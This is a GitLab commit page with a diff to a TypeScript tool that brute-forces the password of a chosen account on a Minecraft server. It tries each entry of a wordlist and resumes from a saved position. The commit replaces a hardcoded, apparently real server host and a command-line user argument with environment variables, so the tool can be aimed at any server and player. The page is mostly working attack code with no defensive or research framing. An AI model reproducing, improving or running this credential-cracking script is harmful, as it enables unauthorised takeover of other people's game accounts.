Commit 0bb2f7bd authored by nanahira's avatar nanahira

env var customize

parent cc5bc1a6
Pipeline #2130 passed with stages
in 1 minute and 24 seconds
...@@ -18,7 +18,11 @@ async function tryPassword(mc: Minecraft, password: string) { ...@@ -18,7 +18,11 @@ async function tryPassword(mc: Minecraft, password: string) {
} }
} }
async function runOnce(targetUser: string) { const targetUser = process.env.TARGET_USER;
const host = process.env.TARGET_HOST;
const port = process.env.TARGET_PORT ? parseInt(process.env.TARGET_PORT) : 25565;
async function runOnce() {
let lastSequence = 0; let lastSequence = 0;
try { try {
lastSequence = JSON.parse(await fs.readFile("./data/last.json", "utf-8")).lastSequence; lastSequence = JSON.parse(await fs.readFile("./data/last.json", "utf-8")).lastSequence;
...@@ -30,8 +34,8 @@ async function runOnce(targetUser: string) { ...@@ -30,8 +34,8 @@ async function runOnce(targetUser: string) {
console.log(`Starting crack user ${targetUser}`); console.log(`Starting crack user ${targetUser}`);
const pool = new MinecraftPool(1, { const pool = new MinecraftPool(1, {
username: targetUser, username: targetUser,
host: 'wolfxmc.org', host,
port: 25565 port
}); });
try { try {
for (let i = lastSequence; i < dict.length; ++i) { for (let i = lastSequence; i < dict.length; ++i) {
...@@ -51,4 +55,4 @@ async function runOnce(targetUser: string) { ...@@ -51,4 +55,4 @@ async function runOnce(targetUser: string) {
process.exit(); process.exit();
} }
} }
runOnce(process.argv[2]); runOnce();
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment